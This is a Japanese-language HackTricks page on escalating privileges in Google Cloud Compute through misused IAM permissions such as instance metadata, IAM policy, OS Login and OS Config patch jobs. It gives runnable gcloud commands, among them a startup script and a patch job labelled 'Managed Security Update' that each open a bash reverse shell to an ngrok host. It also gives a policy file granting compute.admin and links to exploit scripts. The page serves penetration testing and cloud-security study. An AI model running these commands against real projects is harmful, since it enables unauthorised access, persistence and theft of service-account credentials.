# GCP - Compute Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Compute

GCPのComputeとVPC（ネットワーク）に関する詳細情報は、以下を確認してください：

{{#ref}}
../../gcp-services/gcp-compute-instances-enum/
{{#endref}}

> [!CAUTION]
> インスタンスのメタデータを変更する必要があるすべての特権昇格攻撃（新しいユーザーやSSHキーの追加など）を実行するには、**インスタンスに添付されたSAに対して`actAs`権限を持っている必要があります**。たとえSAがすでに添付されていてもです！

### `compute.projects.setCommonInstanceMetadata`

その権限を持つことで、**インスタンス**の**メタデータ**情報を**変更**し、**ユーザーの認証キー**を**変更**するか、**sudo**権限を持つ**新しいユーザーを作成**することができます。したがって、任意のVMインスタンスにSSHで接続し、そのインスタンスが実行しているGCPサービスアカウントを盗むことができます。\
制限事項：

- GCPサービスアカウントは、VMインスタンスでデフォルトで**非常に制限されたスコープ**を持っています。
- ログインするために**SSH**サーバーに**連絡できる必要があります**。

この権限を悪用する方法についての詳細情報は、以下を確認してください：

{{#ref}}
gcp-add-custom-ssh-metadata.md
{{#endref}}

新しいスタートアップスクリプトを追加し、インスタンスを再起動することでこの攻撃を実行することもできます：
```bash
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance
```
### `compute.instances.setMetadata`

この権限は、**前の権限と同じ特権を与えますが、プロジェクト全体ではなく特定のインスタンスに対して**です。**前のセクションと同様の脆弱性と制限が適用されます**。

### `compute.instances.setIamPolicy`

この種の権限は、**前の権限を持つ役割を自分に付与し、それを悪用して特権を昇格させることを可能にします**。以下は、サービスアカウントに `roles/compute.admin` を追加する例です：
```bash
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
```
### **`compute.instances.osLogin`**

インスタンスで**OSLoginが有効になっている場合**、この権限を使用して**`gcloud compute ssh [INSTANCE]`**を実行し、インスタンスに接続できます。インスタンス内では**root権限はありません**。

> [!TIP]
> この権限でVMインスタンスに正常にログインするには、VMにアタッチされたSAに対して`iam.serviceAccounts.actAs`権限を持っている必要があります。

### **`compute.instances.osAdminLogin`**

インスタンスで**OSLoginが有効になっている場合**、この権限を使用して**`gcloud compute ssh [INSTANCE]`**を実行し、インスタンスに接続できます。インスタンス内では**root権限があります**。

> [!TIP]
> この権限でVMインスタンスに正常にログインするには、VMにアタッチされたSAに対して`iam.serviceAccounts.actAs`権限を持っている必要があります。

### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp`

**サービスアカウントが割り当てられた仮想マシンを作成し、メタデータにアクセスしてトークンを盗む**ことが可能です。これにより、権限を昇格させることができます。

この方法のためのエクスプロイトスクリプトは[こちら](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py)にあります。

### `osconfig.patchDeployments.create` | `osconfig.patchJobs.exec`

**`osconfig.patchDeployments.create`**または**`osconfig.patchJobs.exec`**権限を持っている場合、[**パッチジョブまたはデプロイメント**](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching)を作成できます。これにより、環境内で横移動し、プロジェクト内のすべてのコンピュートインスタンスでコード実行を得ることができます。

現在、インスタンスにアタッチされたSAに対して**`actAs`権限は必要ありません**。

手動でこれを悪用したい場合は、[**パッチジョブ**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **または** [**デプロイメント**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)**を作成する必要があります。**\
パッチジョブを実行するには:
```python
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
```
パッチデプロイメントを展開するには：
```bash
gcloud compute os-config patch-deployments create <name> ...
```
ツール [patchy](https://github.com/rek7/patchy) は、この誤設定を悪用するために過去に使用されていました（しかし、現在は動作していません）。

**攻撃者はこれを持続性のために悪用することもできます。**

### `compute.machineImages.setIamPolicy`

**コンピュートイメージに対して追加の権限を付与します。**

### `compute.snapshots.setIamPolicy`

**ディスクスナップショットに対して追加の権限を付与します。**

### `compute.disks.setIamPolicy`

**ディスクに対して追加の権限を付与します。**

### アクセススコープのバイパス

このリンクをたどると、[**アクセススコープをバイパスするためのアイデア**](../)が見つかります。

### GCPコンピュートインスタンスにおけるローカル特権昇格

{{#ref}}
../gcp-local-privilege-escalation-ssh-pivoting.md
{{#endref}}

## 参考文献

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

{{#include ../../../../banners/hacktricks-training.md}}
